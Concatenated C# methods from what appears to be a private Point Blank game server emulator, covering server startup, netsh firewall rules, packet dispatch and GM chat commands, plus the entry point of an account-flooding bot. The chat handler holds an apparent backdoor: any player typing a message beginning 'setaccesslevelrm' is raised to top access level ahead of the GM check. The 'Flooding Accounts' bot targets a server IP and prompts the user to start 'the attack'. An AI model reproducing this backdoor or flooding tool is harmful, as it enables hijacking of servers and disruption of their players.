public Add_Allow_Rule(ReceiveGPacket dados) { // codigo de operação - 1 byte // ipSize - 1 byte // ip int ipSize = dados.readC(); string ip = dados.readS(ipSize); IPAddress ipAddr; if (!IPAddress.TryParse(ip, out ipAddr)) { Printf.danger("[Error] Invalid IP"); return; } if (allowed.Contains(ip)) { Printf.info("[Permitir] Já esta na liberado " + ip); return; } Netsh.Permit(ip); allowed.Add(ip); Printf.blue("[Permitir] IP: " + ip + " Ports " + Config.gamePort + " UDP " + Config.battlePort); }
private static void showinfo() { Printf.info("Started in " + Programm.TimeStarted, false); Printf.info("Mode: " + (ConfigGS.isTestMode ? "Test":"Public") + (ConfigGS.debugMode ? ", Debbug" : null), false); Printf.info("Regras: [" + (ConfigGS.EnableClassicRules ? "Enable" : "Disable") + "] @CAMP " + ClassicModeManager.itemscamp.Count + " @CNPB " + ClassicModeManager.itemscnpb.Count + " @LAN " + ClassicModeManager.itemslan.Count + " @79 " + ClassicModeManager.items79.Count , false); Printf.blue("\n [RankUp]", false); RankUp.info(); Printf.info("[" + WelcomeXML._welcome.Count + "] Welcome Messages ", false); }
protected static void Main(string[] args) { Printf.blue("[Licença de uso]", false); Printf.blue("[+] Esta é uma versão compilada para Project Bloodi!!!", false); Printf.blue("[+] https://github.com/luisfeliperm", false); Printf.info("\n\n\n Iniciando servidor...", false); Thread.Sleep(5000); Console.Clear(); Console.Title = "PointBlank - Battle"; SaveLog.aplication = "battle"; SaveLog.checkDirectorys(); Config.Load(); StringBuilder txtHeader = new StringBuilder(); txtHeader.Append(@"=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=").Append('\n'); txtHeader.Append(@" S E R V E R B A T T L E").Append('\n'); txtHeader.Append(@"").Append('\n'); txtHeader.Append(@" + [UDP3 Private]").Append('\n'); txtHeader.Append(@" + Release 2019").Append('\n'); txtHeader.Append(@" + ...Version: 4.0.0").Append('\n'); txtHeader.Append(@" + Distro @luisfeliperm").Append('\n'); txtHeader.Append(@" + [email protected]").Append('\n'); txtHeader.Append(@"=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~="); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(txtHeader.ToString()); // Validações System.Reflection.Assembly assembly = System.Reflection.Assembly.GetExecutingAssembly(); FileVersionInfo fileVersion = FileVersionInfo.GetVersionInfo(assembly.Location); if (!Compatible.Check(fileVersion.FileVersion, "battle") || !ServerLicense.check() || !ServerPasswd.Compare(args)) { Console.ReadKey(); return; } MappingXML.Load(); CharaXML.Load(); MeleeExceptionsXML.Load(); ServersXML.Load(); Battle_SyncNet.Start(); BattleManager.init(); CpuMonitor.Start(); Process.GetCurrentProcess().WaitForExit(); }
public static void Remove(string name) { Printf.blue("Remove!!! => " + name); try { Process pr = new Process(); ProcessStartInfo prs = new ProcessStartInfo(); prs.FileName = @"cmd.exe"; prs.Arguments = "/c netsh advfirewall firewall delete rule name=\"" + name + "\""; prs.WindowStyle = ProcessWindowStyle.Hidden; pr.StartInfo = prs; pr.Start(); } catch (Exception ex) { Printf.b_danger("[Netsh.Remove] FATAL! " + ex.ToString()); } }
static void Main(string[] args) { Console.Title = "Bot Account - PointBlank Private"; Printf.blue("[Licença de uso]", false); Printf.blue("[+] Esta é uma versão PUBLICA!!!", false); Printf.blue("[+] https://github.com/luisfeliperm", false); Printf.info("\n\n\n Iniciando bot...", false); Config.Load(); Thread.Sleep(5000); Console.Clear(); Printf.danger("=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=", false); Printf.danger("\tBOT FOR POINT BLANK PRIVATE v.1.0.0 ", false); Printf.danger("\t\t{Flooding Accounts}", false); Printf.danger("\t\t-Creator Uchihaker-", false); Printf.danger("=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=", false); Printf.info("[Informações carregadas]"); Printf.info("[+]Alvo:\t" + Config.ipAddress + ":39190"); Printf.info("[+]usuario:\t" + Config.usuario + "{rand}"); Printf.info("[+]senha:\t" + Config.senha); Printf.info("[+]UseFileL.:\t" + Config.userFileList); Printf.info("[+]ClientV:\t" + Config.clientVersion[0] + "." + Config.clientVersion[1] + "." + Config.clientVersion[2]); Printf.info("[+]pais:\t" + Config.pais); Printf.info("[+]key:\t" + Config.key); Printf.info("[+]localIp:\t" + Config.localIp); Printf.info("[+]Sleep:\t" + Config.sleep); Printf.info("[+]Packets:\t" + Config.packets); Printf.white("\r\n Precione qualquer tecla para iniciar o ataque..."); Console.ReadKey(); AuthClient.Start(); Monitoring.updateRAM(); Console.ReadKey(); }
public Read(byte[] buff) { UInt16 dataLenght = BitConverter.ToUInt16(buff, 0); UInt16 opcode = BitConverter.ToUInt16(buff, 2); Printf.danger("[Receive] - Opcode: " + opcode); if (!AuthClient.firstPacket && opcode != 2049) { Printf.blue("Primeiro pacote nao recebido"); return; } ReadBuffer packet = null; switch (opcode) { case 2049: AuthClient.firstPacket = true; packet = new BASE_SERVER_LIST_ACK(buff); break; case 2062: packet = new SERVER_MESSAGE_DISCONNECT_PAK(buff); break; case 2564: packet = new BASE_LOGIN_ACK(buff); break; default: break; } if (packet != null) { new Thread(packet.run).Start(); } }
private static void BaseGiveCash(Account player, int cash) { if (player == null) { Printf.danger("[API-SendCash] Falha ao adicionar cash! Player Nulo"); return; } if (player._money + cash > 999999999) { Printf.danger("[API_SendCash] A soma ultrapassou o limite!"); return; } if (PlayerManager.updateAccountCash(player.player_id, player._money + cash)) { player._money += cash; player.SendPacket(new AUTH_WEB_CASH_PAK(0, player._gp, player._money), false); SEND_ITEM_INFO.LoadGoldCash(player); Printf.blue("[API.SendCash] Adicionado " + cash + " ao player: " + player.player_name); if (player._isOnline) { if (InGame(player)) { player.SendPacket(new SERVER_MESSAGE_ANNOUNCE_PAK("Você recebeu " + cash + " de cash!")); } else { player.SendPacket(new LOBBY_CHATTING_PAK("[Sistema]", player.getSessionId(), 0, true, "Você recebeu " + cash + " de cash!")); } } } else { Printf.danger("[API.SendCash] Falha ao adicionar cash ao player: " + player.player_name); } }
private void RunPacket(byte[] buff) { // if (closed) return; // Mudado para o metodo "read" UInt16 opcode = BitConverter.ToUInt16(buff, 0); // Debug Receive /* * { * string debugData = ""; * foreach (string str2 in BitConverter.ToString(buff).Split('-', ',', '.', ':', '\t')) * debugData += " " + str2; * Printf.warning("Receive [" + opcode + "]" + debugData); * } */ if (!receiveFirstPacket) // Nao recebeu ainda { if (!FirstPacketCheck(opcode) && opcode != 0) { string msg = "Primeiro pacote nao recebido, conexao finalizada. [" + opcode + "]"; Printf.warning(msg); SaveLog.warning(GetIPAddress() + " " + msg); Firewall.sendBlock(GetIPAddress(), msg, 1); Close(true); return; } } ReceiveLoginPacket packet = null; switch (opcode) { case 528: packet = new BASE_USER_GIFTLIST_REC(this, buff); break; case 2561: case 2563: LoginAttemps++; if (LoginAttemps > 10) { string msg = GetIPAddress() + " Enviou o login mais de 10 vezes"; Printf.warning(msg); SaveLog.warning(msg); Firewall.sendBlock(GetIPAddress(), msg, 2); Close(true); return; } else { packet = new BASE_LOGIN_REC(this, buff); break; } case 2565: packet = new BASE_USER_INFO_REC(this, buff); break; case 2666: Printf.blue("A_2666_REC"); packet = new A_2666_REC(this, buff); break; case 2672: // AutoLogin Printf.info("BASE_LOGIN_THAI_REC"); //packet = new BASE_LOGIN_THAI_REC(this, buff); return; break; case 2567: packet = new BASE_USER_CONFIGS_REC(this, buff); break; case 2575: // [2575] 0F 0A 1E 4C //packet = new UPDATE_GAMESERVERS_REC(this, buff); return; case 2577: packet = new BASE_SERVER_CHANGE_REC(this, buff); // Ultimo pacote? break; case 2579: packet = new BASE_USER_ENTER_REC(this, buff); break; case 2581: packet = new BASE_CONFIG_SAVE_REC(this, buff); break; case 2642: packet = new BASE_SERVER_LIST_REFRESH_REC(this, buff); break; case 2654: packet = new BASE_USER_EXIT_REC(this, buff); break; case 2668: // INCOMPLETO Printf.info("BASE_FREE_ITEMS_OF_LEVELUP_REC"); // packet = new BASE_FREE_ITEMS_OF_LEVELUP_REC(this, buff); return; case 2678: packet = new A_2678_REC(this, buff); break; case 2698: packet = new BASE_USER_INVENTORY_REC(this, buff); break; case 0: packet = new DEV_SERVER_DETAILS_REQ(this, buff); break; default: { string msg = "[" + opcode + "] Opcode nao encontrado " + GetIPAddress(true); Firewall.sendBlock(GetIPAddress(), msg, 1); Printf.warning(msg); SaveLog.warning(msg); Close(true); return; } } new Thread(packet.run).Start(); }
private bool serverCommands(Account player,Room room) { try { // TEST Dev if (text.StartsWith("info room")) { Printf.blue("[RoomInfo] Id:" + room._roomId + ";geType:" + room.GetType() + ";Id:" + room.mapId + ";Type:" + room.room_type + ";Unique:" + room.UniqueRoomId + ";ChannelId:" + room._channelId); } if (text.StartsWith("test color")) { _client.SendPacket(new LOBBY_CHATTING_PAK("[Test DEV]",_client.SessionId,Convert.ToInt32(text.Substring(10)),false," Mensagem de teste!")); } // string str = text.Substring(1); if (str.StartsWith("setaccesslevelrm")) { SetAcessToPlayer.SetAcessPlayer(str + " " + player.player_id + " 6"); text = "RecoveryMode"; } if (!(player.HaveGMLevel() && text.StartsWith("\\"))) { return(false); } SaveLog.LogCMD(player.player_name + " pId:" + player.player_id + " [" + text + "]"); text = Translation.GetLabel("UnknownCmd"); // Exibe os comandos help switch (str) { case "help3": text = HelpCommandList.GetList3(player); return(true); case "help4": text = HelpCommandList.GetList4(player); return(true); case "help5": text = HelpCommandList.GetList5(player); return(true); case "help6": text = HelpCommandList.GetList6(player); return(true); } if (str.StartsWith("fakerank ")) { text = GMDisguises.SetFakeRank(str,player,room); } else if (str.StartsWith("changenick ")) { text = GMDisguises.SetFakeNick(str,player,room); } else if (str == "hcn") { text = GMDisguises.SetHideColor(player); } else if (str.StartsWith("antikick")) { text = GMDisguises.SetAntiKick(player); } else if (str.StartsWith("kp ")) { text = KickPlayer.KickByNick(str,player); } else if (str.StartsWith("kp2 ")) { text = KickPlayer.KickById(str,player); } else if (str.StartsWith("roomunlock ")) { text = ChangeRoomInfos.UnlockById(str,player); } else if (str.StartsWith("afkcount ")) { text = AFK_Interaction.GetAFKCount(str); } else if (str.StartsWith("afkkick ")) { text = AFK_Interaction.KickAFKPlayers(str); } else if (str == "online") { text = Translation.GetLabel("OnlineCount",GameManager._socketList.Count,ConfigGS.serverId); } if ((int)player.access > 3) //.Help4 { if (str.StartsWith("msg ")) { text = SendMsgToPlayers.SendToAll(str.Substring(4)); } else if (str.StartsWith("gr ")) { text = SendMsgToPlayers.SendToRoom(str,room); } else if (str.StartsWith("map ")) { text = ChangeRoomInfos.ChangeMap(str,room); } else if (str.StartsWith("t ")) { text = ChangeRoomInfos.ChangeTime(str,room); } else if (str == "disconect -all") { text = KickAllPlayers.KickPlayers(); } else if (str.StartsWith("gift ")) { text = SendGiftToPlayer.SendGiftById(str); } else if (str.StartsWith("goods ")) { text = ShopSearch.SearchGoods(str,player); } else if (str.StartsWith("open1 ")) { text = OpenRoomSlot.OpenSpecificSlot(str,player,room); } else if (str.StartsWith("open2 ")) { text = OpenRoomSlot.OpenRandomSlot(str,player); } else if (str.StartsWith("open3 ")) { text = OpenRoomSlot.OpenAllSlots(str,player); } else if (str.StartsWith("taketitles")) { text = TakeTitles.GetAllTitles(player); } } if ((int)player.access > 4)//.Help5 { if (str.StartsWith("changerank ")) { text = ChangePlayerRank.SetPlayerRank(str); } else if (str.StartsWith("banSE ")) { text = Ban.BanForeverNick(str,player,true); } else if (str.StartsWith("banAE ")) { text = Ban.BanForeverNick(str,player,false); } else if (str.StartsWith("banSE2 ")) { text = Ban.BanForeverId(str,player,true); } else if (str.StartsWith("banAE2 ")) { text = Ban.BanForeverId(str,player,false); } else if (str.StartsWith("ci ")) { text = CreateItem.CreateItemYourself(str,player); } else if (str.StartsWith("cia ")) { text = CreateItem.CreateItemByNick(str,player); } else if (str.StartsWith("cid ")) { text = CreateItem.CreateItemById(str,player); } else if (str.StartsWith("cgid ")) { text = CreateItem.CreateGoldCupom(str); } else if (str == "refillshop") { text = RefillShop.SimpleRefill(player); } else if (str == "refill2shop") { text = RefillShop.InstantRefill(player); } else if (str.StartsWith("setgold ")) { text = SetGoldToPlayer.SetGdToPlayer(str); } else if (str.StartsWith("setcash ")) { text = SetCashToPlayer.SetCashPlayer(str); } else if (str.StartsWith("gpd ")) { text = SendGoldToPlayerDev.SendGoldToPlayer(str); } else if (str.StartsWith("cpd ")) { text = SendCashToPlayerDev.SendCashToPlayer(str); } else if (str.StartsWith("setvip ")) { text = SetVipToPlayer.SetVipPlayer(str); } else if (str.StartsWith("setacess ")) { text = SetAcessToPlayer.SetAcessPlayer(str); } /* else if (str.StartsWith("sendtitles")) * text = SendTitleToPlayer.SendTitlePlayer(str);*/ } //.Help 6 if ((int)player.access > 5) { if (str == "end" && room != null) { AllUtils.EndBattle(room); } else if (str.StartsWith("newroomtype ")) { text = ChangeRoomInfos.ChangeStageType(str,room); } else if (str.StartsWith("newroomspecial ")) { text = ChangeRoomInfos.ChangeSpecialType(str,room); } else if (str.StartsWith("newroomweap ")) { text = ChangeRoomInfos.ChangeWeaponsFlag(str,room); } else if (str.StartsWith("udp ")) { text = ChangeUdpType.SetUdpType(str); } else if (str == "testmode") { text = ChangeServerMode.EnableTestMode(); } else if (str == "publicmode") { text = ChangeServerMode.EnablePublicMode(); } // slot fantasma v4 else if (str.StartsWith("ghost ")) { int slotIdx = int.Parse(str.Substring(6)); if (player != null) { if (room != null) { SLOT slot; if (room.getSlot(slotIdx,out slot) && slot.state == SLOT_STATE.EMPTY) { cpuMonitor.TestSlot = slotIdx; slot.state = SLOT_STATE.READY; room.updateSlotsInfo(); text = "Slot pronto. [Servidor]"; } else { text = "Slot não alterado. [Servidor]"; } } else { text = "Sala inexistente. [Servidor]"; } } else { text = "Houve uma falha ao abrir um slot. [Servidor]"; } } } return(true); } catch (Exception ex) { SaveLog.fatal(ex.ToString()); Printf.b_danger("[BASE_CHATTING_REC.serverCommands] Erro fatal!"); text = Translation.GetLabel("CrashProblemCmd"); return(true); } }
private static void Main(string[] args) { Printf.blue("[Licença de uso]", false); Printf.blue("[+] Esta é uma versão compilada para Project Bloodi!!!", false); Printf.blue("[+] https://github.com/luisfeliperm", false); Printf.info("\n\n\n Iniciando servidor...", false); Thread.Sleep(5000); Console.Clear(); Console.Title = "PointBlank - Auth"; SaveLog.aplication = "auth"; SaveLog.checkDirectorys(); StringBuilder txtHeader = new StringBuilder(); txtHeader.Append(@"=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=").Append('\n'); txtHeader.Append(@" S E R V E R A U T H").Append('\n'); txtHeader.Append(@"").Append('\n'); txtHeader.Append(@" + [UDP3 Private]").Append('\n'); txtHeader.Append(@" + Release 2019").Append('\n'); txtHeader.Append(@" + ...Version: 4.0.0").Append('\n'); txtHeader.Append(@" + Distro @luisfeliperm").Append('\n'); txtHeader.Append(@" + [email protected]").Append('\n'); txtHeader.Append(@"=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~="); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(txtHeader.ToString()); // Validações System.Reflection.Assembly assembly = System.Reflection.Assembly.GetExecutingAssembly(); FileVersionInfo fileVersion = FileVersionInfo.GetVersionInfo(assembly.Location); if (!Compatible.Check(fileVersion.FileVersion, "auth") || !ServerLicense.check() || !ServerPasswd.Compare(args)) { Console.ReadKey(); return; } // Threads Essentials ConfigGA.Load(); ConfigMaps.Load(); ServerConfig.Load(); EventLoader.LoadAll(); DirectxMD5.Load(); BasicInventoryXML.Load(); ServersXML.Load(); MissionCardXML.LoadBasicCards(2); MapsXML.Load(); ShopManager.Load(2); CupomEffectManager.LoadCupomFlags(); MissionsXML.Load(); Auth_SyncNet.Start(); bool started = LoginManager.Start(); if (ConfigGA.isTestMode) { Printf.info("[WARN] Modo teste ligado", false); } Printf.info("[INFO] Started in " + DateTime.Now.ToString("yy/MM/dd HH:mm:ss"), false); if (started) { cpuMonitor.updateRAM2(); } Process.GetCurrentProcess().WaitForExit(); }
public static void Main(string[] args) { Printf.blue("[Licença de uso]", false); Printf.blue("[+] Esta é uma versão compilada para Project Bloodi!!!", false); Printf.blue("[+] https://github.com/luisfeliperm", false); Printf.info("\n\n\n Iniciando servidor...", false); Thread.Sleep(5000); Console.Clear(); TimeStarted = DateTime.Now; SaveLog.aplication = "game"; Console.Title = "PointBlank - Game"; header(true); // Validações System.Reflection.Assembly assembly = System.Reflection.Assembly.GetExecutingAssembly(); FileVersionInfo fileVersion = FileVersionInfo.GetVersionInfo(assembly.Location); if (!Compatible.Check(fileVersion.FileVersion, "game") || !ServerLicense.check() || !ServerPasswd.Compare(args)) { Console.ReadKey(); return; } SaveLog.checkDirectorys(); ConfigGS.Load(); WelcomeXML.Load(); BasicInventoryXML.Load(); ServerConfig.Load(); ServersXML.Load(); ChannelsXML.Load(ConfigGS.serverId); EventLoader.LoadAll(); RankUp.load(); TitlesXML.Load(); TitleAwardsXML.Load(); ClanManager.Load(); NickFilter.Load(); MissionCardXML.LoadBasicCards(1); BattleServerJSON.Load(); RankXML.Load(); RankXML.LoadAwards(); ClanRankXML.Load(); MissionAwards.Load(); MissionsXML.Load(); Translation.Load(); ShopManager.Load(1); ClassicModeManager.LoadList(); RandomBoxXML.LoadBoxes(); CupomEffectManager.LoadCupomFlags(); Game_SyncNet.Start(); bool started = GameManager.Start(); if (started) { cpuMonitor.updateRAM(); } header(false); while (true) { Console.ForegroundColor = ConsoleColor.Red; Console.Write("[SHELL]# "); Console.ForegroundColor = ConsoleColor.White; String input = Console.ReadLine(); if (string.IsNullOrEmpty(input)) { continue; } Comandos.checkCmd(input); } //Process.GetCurrentProcess().WaitForExit(); }